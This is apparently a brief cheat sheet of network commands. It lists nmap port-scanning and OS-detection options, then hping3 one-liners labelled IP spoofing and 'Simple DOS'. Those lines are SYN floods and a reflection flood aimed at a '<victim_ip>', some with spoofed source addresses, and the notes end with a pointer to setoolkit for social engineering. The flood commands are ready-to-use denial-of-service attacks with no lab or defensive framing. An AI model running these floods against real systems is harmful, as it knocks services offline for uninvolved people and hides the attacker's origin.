Nmap

Scan devices and networks to collect information like open or closed ports, OSs , running services. It also scans for the connected devices. It evaluates the network risks.

Nmap can be easily detected by trojan-detection servers.

- Scan the most popular and common 1000 ports

```
nmap <ip_address/host>
```

- Scan the most popular and common 100 ports

```
nmap -F <ip_address>
```

- Scan specific ports

```
nmap -p 23 <ip_address>
nmap -p 20,23,25 <ip_address>
nmap -p 1-15 <ip_address>
nmap -p 1-15,20-23 <ip_address>
nmap -p mysql,ftp,https <ip_address>
```

- Get more information like OS, version of Web servers... (Scan aggressively)

```
nmap -A <ip_address>
```

- Save output to file

```
nmap -oN <path>
```

- Scan all devices connected to my network

```
nmap <my_ip/subnet>
```

Ip Spoofing

Relies on the concept of reflection

```
hping3 -l --flood -a <victim_ip> <server_ip>
```

- Simple DOS

```
hping3 --flood -S <victim_ip>
```

- Spoof

```
hping3 --flood -S --spoof <spoofed_ip> <victim_ip>
```

Social Engineering

- setoolkit